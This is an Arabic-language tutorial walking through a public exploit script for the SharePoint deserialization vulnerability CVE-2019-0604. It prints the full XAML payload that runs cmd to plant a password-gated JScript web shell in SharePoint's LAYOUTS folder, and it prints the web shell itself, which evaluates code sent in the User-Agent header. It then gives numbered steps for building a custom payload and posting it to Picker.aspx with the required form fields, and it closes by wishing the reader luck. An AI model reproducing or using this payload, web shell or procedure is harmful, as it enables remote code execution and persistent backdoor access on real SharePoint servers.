
شرح تفصيلي لشفرة استغلال k8gege لثغرة SharePoint RCE cve-2019-0604-exp.py، واصنع الحمولة (payload) الخاصة بك بنفسك

سكربت k8gege: https://github.com/k8gege/CVE-2019-0604
بصراحة، سكربت k8gege المكتوب بلغة Python مبهرج إلى حدٍّ ما؛ فهو يحتوي على كومة من السلاسل السداسية العشرية مقسمة إلى payload1,2,3 — فما أدراك، أهي جيدة أم سيئة؟!
الحمولة (payload) التي يرسلها سكربت Python عن بُعد عبر POST، وبعد إلغاء التسلسل (Deserialization) تتحول إلى بنية بيانات XML.
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>/c echo ^<%@ Page Language="Jscript" %^>^<%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx" </System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>

أي أنه ينفّذ أمر echo عن بُعد، ليكتب ملف up.aspx في مجلد layouts الخاص بقوالب SharePoint على الخادم.
cmd /c echo ^<%@ Page Language="Jscript" %^>^<%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx"
أنتج ذلك ويب شيل من جملة واحدة خاصًا بأداة K8飞刀 ويعتمد على UA، بامتداد .asxp — حسنًا، لقد حصلنا على الشل (Shell).
<%@ Page Language="Jscript" %>
<%
var pwd="tom";
var uastr=Request.UserAgent;
if (uastr.Substring(0, uastr.IndexOf("==="))== pwd)
{
var code=uastr.Replace(pwd+"===","");
eval(code,"unsafe");
};
%>
إذا أردت صنع حمولة (payload) خاصة بك لتنفيذ الأوامر عن بُعد، فاتبع خطوات التشغيل التالية:
1- نزّل البرنامج المُجمَّع من https://github.com/boxhg/CVE-2019-0604/releases، ثم فك ضغطه وشغّل CVE20190604Forms.exe
2- في مربع النص Cmd، أدخل الأمر ثم انقر على زر "Update XML"، وسيتم دمج الأمر في XML
3- انقر على "EncodeEntity"، فيقوم البرنامج بتسلسل (Serialize) سلسلة XML إلى كائن، ثم يطلق تنفيذ الحمولة، وتظهر السلسلة بعد التسلسل في مربع النص "payload"
__cp087135009700370047005600d600e2004400160047001600e20035005600270067009600360056003700e2009400e600470056002700e6001600c600e2005400870007001600e60046005600460075002700160......
4- هذه السلاسل مثل "__cp...." هي الحمولة (payload)؛ انسخها إلى cve-2019-0604-exp.py وعدّل عليها لاستبدال حمولة k8 الأصلية،
5- عند إرسال الحمولة إلى Picker.aspx، يلزم إرفاق معاملات أخرى؛ ويمكنك عبر أداة البروكسي Burp الحصول على المعاملات ذات الصلة، ثم تمرير قيمة الحمولة إلى ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData
...
values = {
'__REQUESTDIGEST':YOUR_REQUESTDIGEST,
'__EVENTTARGET':'',
'__EVENTARGUMENT':'',
'__spPickerHasReturnValue':'',
'__spPickerReturnValueHolder':'',
'__VIEWSTATE':YOUR_VIEWSTATE,
'__VIEWSTATEGENERATOR':'',
'ctl00$PlaceHolderDialogBodySection$ctl07$queryTextBox':'',
'ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData':**YOUR_PayloadData**,
'ctl00$PlaceHolderDialogBodySection$ctl05$OriginalEntities':'<Entities />',
'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityKey':'',
'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityDisplayText':'',
'ctl00$PlaceHolderDialogBodySection$ctl05$downlevelTextBox':' ',
'__CALLBACKID':'ctl00$PlaceHolderDialogBodySection$ctl07',
'__CALLBACKPARAM':';#;#11;#;#;#',
'__EVENTVALIDATION':YOUR_EVENTVALIDATION
}
data = urllib.urlencode(values)
...
5- شغّل سكربت بايثون، حظًا موفقًا!!!